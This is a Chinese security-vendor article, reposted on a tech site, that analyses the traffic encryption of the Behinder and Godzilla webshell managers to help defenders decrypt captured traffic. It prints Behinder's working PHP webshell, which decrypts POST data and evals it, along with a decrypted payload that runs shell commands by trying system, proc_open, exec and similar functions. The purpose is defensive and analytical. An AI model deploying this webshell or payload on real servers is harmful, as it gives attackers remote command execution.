您当前的位置:首页 > 电脑百科 > 网络技术 > 网络技术

流量加密怎么办?主流webshell管理工具流量解密分析

时间:2022-07-20 09:29:04  来源:  作者:盛邦安全

一、引言

某行动在即,本文基于冰蝎Behinder_v3.0.11和哥斯拉v4.00-godzilla,对它们的加解密方式进行识别和分析【附简易解密脚本】,希望能在行动中助大家一臂之力。

二、冰蝎

冰蝎加密机制,通过阅读代码可知分为四类,即jsp,php,aspx,asp。

流量加密怎么办?主流webshell管理工具流量解密分析

 

2.1 PHP

阅读php木马脚本:

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
  $_SESSION['k']=$key;
  session_write_close();
  $post=file_get_contents("php://input");
  if(!extension_loaded('openssl'))
  {
    $t="base64_"."decode";
    $post=$t($post."");
    
    for($i=0;$i<strlen($post);$i++) {
           $post[$i] = $post[$i]^$key[$i+1&15]; 
          }
            echo "no openssl";
  }
  else
  {
    $post=openssl_decrypt($post, "AES128", $key);
  }
  // echo $post;
  // echo "------------------";
    $arr=explode('|',$post);
    // echo $arr[1];
    // echo "------------------";
    $func=$arr[0];
    $params=$arr[1];
  class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

阅读代码可知,在有openssl的情况下冰蝎会使用openssl进行aes128解密,在没有的情况下使用异或解密。

以一次cmd执行为例进行分析为例:

流量加密怎么办?主流webshell管理工具流量解密分析

 

抓取请求进行AES128解密,得到如下代码,与冰蝎源码中的php payload互相对应:

@error_reporting(0);


function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function mAIn($cmd,$path)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);
        return;
        
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result),  $_SESSION['k']);
}


function encrypt($data,$key)
{
  if(!extension_loaded('openssl'))
      {
        for($i=0;$i<strlen($data);$i++) {
           $data[$i] = $data[$i]^$key[$i+1&15]; 
          }
      return $data;
      }
    else
      {
        return openssl_encrypt($data, "AES128", $key);
      }
}$cmd="Y2QgL2QgIkU6XHBocHN0dWR5X3Byb1xXV1dcIiZkaXI=";$cmd=base64_decode($cmd);$path="RTovcGhwc3R1ZHlfcHJvL1dXVy8=";$path=base64_decode($path);
main($cmd,$path);

其中cmd参数即为所传输命令的base64编码,并且可以得出响应体的加密与请求所用方式一致。

对响应体解密,可以得到如下信息:

流量加密怎么办?主流webshell管理工具流量解密分析

 

其中,status与msg均为base64编码,解开即可得到明文。

其他操作类型同理,均可解密为明文。

2.2 ASP

由冰蝎代码可知asp使用xor加密

public static byte[] EncryptForAsp(byte[] bs, String key) throws Exception { 
        for(int i = 0; i < bs.length; ++i) { 
            bs[i] ^= key.getBytes()[i + 1 & 15]; 
        } 
 
        return bs; 
    }

结合asp脚本,分析的出asp请求和响应使用xor加密可以解析;

响应格式与php相同,status与msg均为base64编码,解开即可得到明文。

流量加密怎么办?主流webshell管理工具流量解密分析

 

2.3 CSharp

通过阅读源码可知,aspx使用的AES/CBC/PKCS5Padding,iv为key。

public static byte[] EncryptForCSharp(byte[] bs, String key) throws Exception { 
        byte[] raw = key.getBytes("utf-8"); 
        IvParameterSpec iv = new IvParameterSpec(raw); 
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); 
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 
        cipher.init(1, skeySpec, iv); 
        byte[] encrypted = cipher.doFinal(bs); 
        return encrypted; 
    }

由于aspx的payload为dll文件,请求解密后为pe文件格式,可将文件转存后用ida进行分析。

响应解密出来同样是一个json:

流量加密怎么办?主流webshell管理工具流量解密分析

 

对应信息也需要base64解码为明文。

2.4 JAVA

冰蝎对jsp,jspx系列的处理是一致的。阅读源码可知,使用的是AES/ECB/PKCS5Padding.

public static byte[] DecryptForJava(byte[] bs, String key) throws Exception { 
        byte[] raw = key.getBytes("utf-8"); 
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); 
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); 
        cipher.init(2, skeySpec); 
        byte[] decrypted = cipher.doFinal(bs); 
        return decrypted; 
    }

由于传输的文件为java的class文件,请求解密后为class文件格式,可将文件转存后用idea进行分析。

响应解密出来同样是json,对应信息也需要base64节码为明文。

流量加密怎么办?主流webshell管理工具流量解密分析

 

三、哥斯拉

相比于冰蝎,哥斯拉可选的加密方式就有很多种了,每一种都对应着一个server脚本。

流量加密怎么办?主流webshell管理工具流量解密分析

 

且除了xor的加密方式,响应都会经过findstr函数,首尾各去掉的16位

流量加密怎么办?主流webshell管理工具流量解密分析

 


流量加密怎么办?主流webshell管理工具流量解密分析

 

3.1 phpXor

3.1.1 PhpEvalXor

分析代码及流量,请求为明文可执行代码+加密数据,响应为去掉首尾后,先解base64然后解xor。

关键代码如下:

public byte[] decode(byte[] data) {
    if (data != null && data.length > 0) {
        try {
            return this.D(this.findStr(data));
        } catch (Exception var3) {
            Log.error(var3);
            return null;
        }
    } else {
        return data;
    }
}
public byte[] D(String data) {
    byte[] cs = functions.base64Decode(data);
    int len = cs.length;


    for(int i = 0; i < len; ++i) {
        cs[i] ^= this.key[i + 1 & 15];
    }


    return cs;
}

3.1.2 PhpXor

分析代码及流量,请求位xor+base64,响应为去掉首尾后,xor+base64

关键代码如下:

public byte[] encode(byte[] data) {
    try {
        return this.E(data);
    } catch (Exception var3) {
        Log.error(var3);
        return null;
    }
}


public byte[] decode(byte[] data) {
    if (data != null && data.length > 0) {
        try {
            return this.D(this.findStr(data));
        } catch (Exception var3) {
            Log.error(var3);
            return null;
        }
    } else {
        return data;
    }
}


public byte[] E(byte[] cs) {
    int len = cs.length;


    for(int i = 0; i < len; ++i) {
        cs[i] ^= this.key[i + 1 & 15];
    }


    return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
}


public byte[] D(String data) {
    byte[] cs = functions.base64Decode(data);
    int len = cs.length;


    for(int i = 0; i < len; ++i) {
        cs[i] ^= this.key[i + 1 & 15];
    }


    return cs;
}

 

3.1.3 PhpXorRaw

分析代码及流量,请求为xor,响应为xor

关键代码如下:

public byte[] encode(byte[] data) {
    try {
        return this.E(data);
    } catch (Exception var3) {
        Log.error(var3);
        return null;
    }
}


public byte[] decode(byte[] data) {
    if (data != null && data.length > 0) {
        try {
            return this.D(data);
        } catch (Exception var3) {
            Log.error(var3);
            return null;
        }
    } else {
        return data;
    }
}


public byte[] E(byte[] cs) {
    int len = cs.length;


    for(int i = 0; i < len; ++i) {
        cs[i] ^= this.key[i + 1 & 15];
    }


    return cs;
}


public byte[] D(byte[] cs) {
    int len = cs.length;


    for(int i = 0; i < len; ++i) {
        cs[i] ^= this.key[i + 1 & 15];
    }


    return cs;
}

 

3.2 JavaAes

3.2.1 JavaAesBase64

请求响应均为为aes+base64,key就是参数key,模式为ECB

关键代码如下:

this.encodeCipher = Cipher.getInstance("AES");
this.decodeCipher = Cipher.getInstance("AES");
this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"));
this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"));




public byte[] encode(byte[] data) {
    try {
        return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(this.encodeCipher.doFinal(data)))).getBytes();
    } catch (Exception var3) {
        Log.error(var3);
        return null;
    }
}


public byte[] decode(byte[] data) {
    try {
        data = functions.base64Decode(this.findStr(data));
        return this.decodeCipher.doFinal(data);
    } catch (Exception var3) {
        Log.error(var3);
        return null;
    }
}

 

3.2.2 JavaAesRaw

请求响应均为为aes,key就是参数key,模式为ECB

关键代码如下:

this.encodeCipher = Cipher.getInstance("AES");
this.decodeCipher = Cipher.getInstance("AES");
this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"));
this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"));
public byte[] encode(byte[] data) {
    try {
        return this.encodeCipher.doFinal(data);
    } catch (Exception var3) {
        Log.error(var3);
        return null;
    }
}


public byte[] decode(byte[] data) {
    try {
        return this.decodeCipher.doFinal(data);
    } catch (Exception var3) {
        Log.error(var3);
        return null;
    }
}

 

3.3 CShapAes

3.3.1 CShapAesBase64

请求响应均为为aes+base64,key就是参数key,iv也是参数key,模式为CBC

关键代码如下:

this.encodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.decodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));
this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));


public byte[] encode(byte[] data) {
        try {
            return (this.pass + "=" + URLEncoder.encode(functions.base64Encode(this.encodeCipher.doFinal(data)))).getBytes();
        } catch (Exception var3) {
            Log.error(var3);
            return null;
        }
    }


public byte[] decode(byte[] data) {
    try {
        data = functions.base64Decode(this.findStr(data));
        return this.decodeCipher.doFinal(data);
    } catch (Exception var3) {
        Log.error(var3);
        return null;
    }
}

 

3.3.2 CShapAesRaw

请求响应均为为aes,key就是参数key,iv也是参数key,模式为CBC

关键代码如下:

this.encodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.decodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));
this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));


public byte[] encode(byte[] data) {
    try {
        return this.encodeCipher.doFinal(data);
    } catch (Exception var3) {
        Log.error(var3);
        return null;
    }
}


public byte[] decode(byte[] data) {
    try {
        return this.decodeCipher.doFinal(data);
    } catch (Exception var3) {
        Log.error(var3);
        return null;
    }
}

 

3.3.3 CSharpEvalAesBase64

请求为明文可执行代码+加密数据,请求响应为aes,key就是参数key,iv也是参数key,模式为CBC

关键代码如下:

this.encodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.decodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));
this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));




public byte[] encode(byte[] data) {
    try {
        return (String.format("%s=%s&", this.pass, this.evalContent) + this.shell.getSecretKey() + "=" + URLEncoder.encode(functions.base64Encode(this.encodeCipher.doFinal(data)))).getBytes();
    } catch (Exception var3) {
        Log.error(var3);
        return null;
    }
}


public byte[] decode(byte[] data) {
    try {
        data = functions.base64Decode(this.findStr(data));
        return this.decodeCipher.doFinal(data);
    } catch (Exception var3) {
        Log.error(var3);
        return null;
    }
}

 

3.3.4 CShapAsmxAesBase64

asmx加密方式与CShapAesBase64一致,只是传参变成xml格式

流量加密怎么办?主流webshell管理工具流量解密分析

 

3.4 aspXor

asp系列的有一个改变就是非raw的首位16位填充变为了6位

流量加密怎么办?主流webshell管理工具流量解密分析

 

3.4.1 AspRaw

抓包可以看到通信是明文的不需要解密

流量加密怎么办?主流webshell管理工具流量解密分析

 

   public byte[] encode(byte[] data) {
        try {
            return data;
        } catch (Exception var3) {
            Log.error(var3);
            return null;
        }
    }


    public byte[] decode(byte[] data) {
        if (data != null && data.length > 0) {
            try {
                return data;
            } catch (Exception var3) {
                Log.error(var3);
                return null;
            }
        } else {
            return data;
        }
    }

 

3.4.2 AspBase64

加密方式为base64,响应首尾填充6位

流量加密怎么办?主流webshell管理工具流量解密分析

 

 public byte[] encode(byte[] data) {
        try {
            return this.E(data);
        } catch (Exception var3) {
            Log.error(var3);
            return null;
        }
    }


    public byte[] decode(byte[] data) {
        if (data != null && data.length > 0) {
            try {
                return this.D(this.findStr(data));
            } catch (Exception var3) {
                Log.error(var3);
                return null;
            }
        } else {
            return data;
        }
    }
    
        public byte[] E(byte[] cs) {
        return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
    }


    public byte[] D(String data) {
        byte[] cs = functions.base64Decode(data);
        return cs;
    }

 

3.4.3 AspEvalBase64

请求为明文转送一部分代码,并将执行数据作为代码中一个变量传输,响应为base64首尾填充6位

public byte[] E(byte[] cs) {
        return (this.pass + "=" + this.chopperRequest + "&" + this.shell.getSecretKey() + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
    }


    public byte[] D(String data) {
        byte[] cs = functions.base64Decode(data);
        return cs;
    }

 

3.4.4 AspXorBae64

加密方式为base64+xor

响应首尾填充6位

public byte[] encode(byte[] data) {
        try {
            return this.E(data);
        } catch (Exception var3) {
            Log.error(var3);
            return null;
        }
    }


    public byte[] decode(byte[] data) {
        if (data != null && data.length > 0) {
            try {
                return this.D(this.findStr(data));
            } catch (Exception var3) {
                Log.error(var3);
                return null;
            }
        } else {
            return data;
        }
    }




    protected void decryption(byte[] data, byte[] key) {
        int len = data.length;
        int keyLen = key.length;
        int index = false;


        for(int i = 1; i <= len; ++i) {
            int index = i - 1;
            data[index] ^= key[i % keyLen];
        }


    }


    public byte[] E(byte[] cs) {
        this.decryption(cs, this.key);
        return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
    }


    public byte[] D(String data) {
        byte[] cs = functions.base64Decode(data);
        this.decryption(cs, this.key);
        return cs;
    }

 

3.4.5 AspXorRaw

加密方式为xor

其中,super.decryption即为xor函数

public byte[] encode(byte[] data) { 
        try { 
            super.decryption(data, this.key); 
            return data; 
        } catch (Exception var3) { 
            Log.error(var3); 
            return null; 
        } 
    } 
 
    public byte[] decode(byte[] data) { 
        if (data != null && data.length > 0) { 
            try { 
                super.decryption(data, this.key); 
                return data; 
            } catch (Exception var3) { 
                Log.error(var3); 
                return null; 
            } 
        } else { 
            return data; 
        } 
    }

 

四、解密脚本

公众号回复“webshell”获取解密脚本链接

使用方法:

按照加密类型、key和pass,初始化类。然后输入字节流形式的请求/响应体,调用相应的加/解密函数即可。

如下例子:

```Python/ target=_blank class=infotextkey>Python
decrypter = PHP_XOR_BASE64(pass_='pass', key='3c6e0b8a9c15224a')
data = decrypter.decrypt_req_payload(b'pass=DlMRWA1cL1gOVDc2MjRhRwZFEQ==')
print(data)
data = decrypter.decrypt_res_payload(b'72a9c691ccdaab98fL1tMGI4YTljO/79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488')
print(data)
```


Tags:流量加密   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
流量加密怎么办?主流webshell管理工具流量解密分析
一、引言某行动在即,本文基于冰蝎Behinder_v3.0.11和哥斯拉v4.00-godzilla,对它们的加解密方式进行识别和分析【附简易解密脚本】,希望能在行动中助大家一臂之力。二、冰蝎冰蝎...【详细内容】
2022-07-20  Search: 流量加密  点击:(619)  评论:(0)  加入收藏
恶意流量加密躲避追捕?三招将其缉拿归案
根据Google最新公布的“Chrome中的HTTPS加密情况”统计数据表明,2015年至2020年通过HTTPS加载的业务占比逐步升高,截至2020年7月,在Chrome上加密的比例已达到96%,越来越多Web业...【详细内容】
2021-01-22  Search: 流量加密  点击:(429)  评论:(0)  加入收藏
▌简易百科推荐
手机就可以修改WiFi密码,进行网络提速,还能防止别人蹭网
随着网络的普及和使用频率的增加,很多人可能遇到了一些网络管理上的问题,比如忘记了WiFi密码、网络速度缓慢、或者发现有不明设备在家中蹭网。相信朋友们也曾遇到过吧?但是,你知...【详细内容】
2024-04-03  老毛桃    Tags:WiFi密码   点击:(9)  评论:(0)  加入收藏
手机WiFi信号满格却接收消息延迟?这里有妙招帮你解决!
在现代社会,手机已经成为了我们生活中不可或缺的一部分。无论是工作、学习还是娱乐,手机都扮演着重要的角色。然而,有时我们会遇到一些令人烦恼的问题,比如明明手机WiFi信号满格...【详细内容】
2024-04-03  蔡前进    Tags:手机WiFi   点击:(8)  评论:(0)  加入收藏
SASE技术应用落地的五个关键趋势
在Gartner 最新发布的《2023网络技术成熟度曲线》报告中认为,SASE技术已经开始走出最初的技术炒作期,将逐步迈向新一轮的实用落地阶段。在Gartner发布的《Hype Cycle for Ente...【详细内容】
2024-04-01    安全牛  Tags:SASE   点击:(13)  评论:(0)  加入收藏
提示“该网站安全证书存在问题,连接可能不安全”如何解决
在你输入网址并浏览网页时,如果你的浏览器弹出一个警告,提示“网站的安全证书存在问题”,或是显示一个红色的锁标志,这些都是网站不安全的警示。这些提示通常是由HTTPS协议中的S...【详细内容】
2024-03-18  倏然间    Tags:网站安全证书   点击:(13)  评论:(0)  加入收藏
如何有效排除CAN总线错误
控制器局域网(CAN)控制器局域网(CAN)是现代车辆中电子元件无缝运行的基础。在远程信息处理领域,CAN总线系统的效率至关重要,其能够实现支撑当今汽车技术的复杂功能。然而,CAN总...【详细内容】
2024-02-20    千家网  Tags:CAN   点击:(56)  评论:(0)  加入收藏
网络连接受限或无连接怎么办?这里提供几个修复办法
可能错误提示 连接受限或无连接:连接具有有限的连接或无连接。你可能无法访问Internet或某些网络资源。 连接受限。排除和解决“连接受限或无连接”错误此错误可能由计算机上...【详细内容】
2024-02-06  驾驭信息纵横科技    Tags:网络连接受限   点击:(52)  评论:(0)  加入收藏
如何将Mac连接到以太网?这里有详细步骤
在Wi-Fi成为最流行、最简单的互联网连接方式之前,每台Mac和电脑都使用以太网电缆连接。这是Mac可用端口的标准功能。如何将Mac连接到以太网如果你的Mac有以太网端口,则需要以...【详细内容】
2024-02-03  驾驭信息纵横科技    Tags:Mac   点击:(68)  评论:(0)  加入收藏
简易百科之什么是端口映射
端口映射,也称为端口转发,是一种网络通信中的技术手段,通过将内网中的一个端口上的数据流量转发到另一个端口,使得外部网络能够访问到内部网络中的特定服务。在实现上,端口映射通...【详细内容】
2024-01-26    简易百科  Tags:端口映射   点击:(165)  评论:(0)  加入收藏
ip因频繁登陆已被禁止访问 无法显示图片 怎么办
首先,我们要明白,部分网站为了有效遏制数据爬取和非法攻击,保证访问速度和普通用户查询,会在系统中增加网络安全设备,加强安全防护机制,并提前设置安全访问规则。因此,一旦用户的行...【详细内容】
2024-01-20  何福意思    Tags:ip   点击:(68)  评论:(0)  加入收藏
电脑连上wifi却上不了网怎么办
当电脑连接上 WiFi 却无法上网时,可能会让人感到困惑和沮丧。这个问题通常会有多种可能的原因,包括网络配置问题、路由器故障、无线适配器问题等。在面对这个问题时,可以尝试以...【详细内容】
2024-01-16  编程资料站    Tags:wifi   点击:(72)  评论:(0)  加入收藏
站内最新
站内热门
站内头条